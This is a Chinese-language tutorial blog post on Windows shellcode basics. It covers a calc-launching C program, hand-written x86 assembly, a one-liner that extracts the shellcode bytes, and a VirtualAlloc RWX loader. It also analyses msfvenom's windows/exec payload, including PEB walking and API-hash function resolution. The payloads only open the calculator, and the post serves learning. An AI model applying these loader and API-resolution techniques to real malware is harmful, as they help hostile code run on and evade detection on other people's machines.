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0x01 shellcode基础

shellcode为16进制的机器码，下面我们通过一段打开计算器Calc.exe的简单的代码来进一步了解一下什么是shellcode。

#include "stdafx.h"          
#include                    
         
int main(int argc, char* argv[])          
{          
  WinExec("calc",1);          
  return 0;          
}

一句特别简单的代码，调用Windows API WinExec 打开计算器，接着我们在OD动态调试看看。

push 0x1 ;在x86下，通过压栈来传参，将1压栈，WinExec(“calc”,1)里的参数1

push OpenCalc.00406030 ;将存放calc字符串的地址压栈，也是传参

call dword ptr ds:[<&KERNEL32.WinExec>] ;调用KERNEL32下的WinExec

我们将这三句话下划线标注部分的机器码，用C语言的方式表达就是”\x6A\x01\x68\x30\x60\x40\x00\xFF\x15\x00\x50\x40\x00″，也就是我常见的shellcode字符串。如果我们把这串加载在内存，能不能成功运行起来，恐怕是不行的，因为我们不能保证每一个程序的0x406030地址上都存放了calc字符串，也不能保证导入表中0x405000就是WinExec地址。

0x02 编写一个简单的shellcode

那么问题很多的小明就会问，如果我们直接传calc字符串，写死的WinExec地址，是不是能在当前环境下的主机上运行？那我们就来试试，试试就试试。

首先构造一个calc字符串

xor  ecx, ecx              ; 把ecx置零          
         
push ecx                   ; 置零后压栈，充当字符串结尾的\x00          
         
push 0x636c6163            ; clac（calc小端）          
         
mov  eax, esp              ; 再把指向calc\x00的栈顶指针保存到eax

获取Kernel32 WinExec 地址

有两种方法获取地址，一是通过动态调试，二是通过GetProcAddress.

方法一：

选中或右键再数据窗口跟随，即可获取 WinExec 地址。

方法二：

#include "stdafx.h"
#include <windows.h>

typedef int (__cdecl *MYPROC)(LPTSTR);

int main() {
  HINSTANCE Kernel32Addr;
  MYPROC WinExecAddr;

  Kernel32Addr = GetModuleHandle("kernel32.dll");
  printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);

  WinExecAddr = (MYPROC)GetProcAddress(Kernel32Addr, "WinExec");

  printf("WinExec address in memory is: 0x%08p\n", WinExecAddr );
  getchar();  
  return 0;
}

构造完整的汇编代码

section .data

section .bss

section .text
  global _start

_start:
  xor  ecx, ecx              ; 把ecx置零
  push ecx                   ; 置零后压栈，充当字符串结尾的\x00
  push 0x636c6163            ; clac（calc小端）
  mov  eax, esp              ; 再把指向calc\x00的栈顶指针保存到eax
  
  inc  ecx              ; ecx 置1
  push ecx              ; 压栈传第二个参数1
  push eax              ; 压栈，eax指向的是calc\x00
  mov  ebx, 0x7c86250d  ; 把WinExec地址保存到evx
  call ebx              ; 执行WinExec

将上面文件保存为xxx.asm，如果windows没有编译环境，可以直接用kali进行编译，命令如下

nasm -f elf32 -o xxx.o xxx.asm
ld -m elf_i386 -o xxx xxx.o

然后通过 objdump -d xxx 读取文件，并将其通过C格式打印出来，命令如下

objdump -M intel -d xxx | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

这样就顺利拿到了我们的shellcode

加载shellcode

#include "stdafx.h"
#include <windows.h>

unsigned char shellcode[] = 
"\x31\xc9\x51\x68\x63\x61\x6c\x63\x89\xe0\x41\x51\x50\xbb\x0d\x25\x86\x7c\xff\xd3\x59";


int main(int argc, char* argv[])
{
  //将shellcode保存到内存中进行加载
  void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, shellcode, sizeof shellcode);
  ((void(*)())exec)();
  return 0;
}

编译后运行。

成功弹出计算器，证实了小明的猜想是可行的。那么问题很多的小明又问了，这种写死的地址只能自己操自己，那有什么用呢？不妨我们来看下msf的shellcode是如何实现在不同机器上实现功能的。

0x03 解析msf的shellcode

我们从逆向的角度去解析msf的shellcode，首先我们先通过一条msfvenom命令输出与上文实现相同功能的shellcode。

msfvenom -p windows/exec cmd=calc.exe -f c

编译我们的加载器，对其进行逆向分析

#include "stdafx.h"
#include <windows.h>

// msf shellcode 
unsigned char shellcode[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main(int argc, char* argv[])
{
  void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  memcpy(exec, shellcode, sizeof shellcode);
  ((void(*)())exec)();
  return 0;
}

作者使用OD调试报错，而改用windbg进行动态调试。

0x401000为main函数（代码段初始地址），是我们加载代码，通过virtualAlloc申请内存空间，并把内存地址放在了eax里面，为0x003A0000，通过memcpy，将存放在.data段的shellcode变量存放在0x003A0000上，然后call。

我们跟进去看下，发现已经shellcode已经复制进了内存，我们的shellcode就能够正常运行起来了，我把每一步汇编的作用都注释了起来。

大致的流程我们可以分解成：

1.通过硬编码偏移0x82获得shellcode末尾的字符串“calc.exe”，然后入栈参数1以及calc.exe，还有winexec API hash 876F8B31

2.循环遍历PEB表获取模块基址

3.解析PE文件，无导出表则跳过，继续2

4.解析导出表，导出表数量为0则跳过，继续2

5.根据导出名称表遍历导出名称来计算hash，并找到对应的函数，也就是WinExec

6.若找不到该函数，则通过链表找到下一个模块信息，继续2

7.找到winExec，执行该函数

里面比较有意思的是使用了一个API hash来查找函数地址，这种技术叫SFHA(Stephen Fewer’s Hash AI)，相关技术在17年的DEFCON时有专题讲解。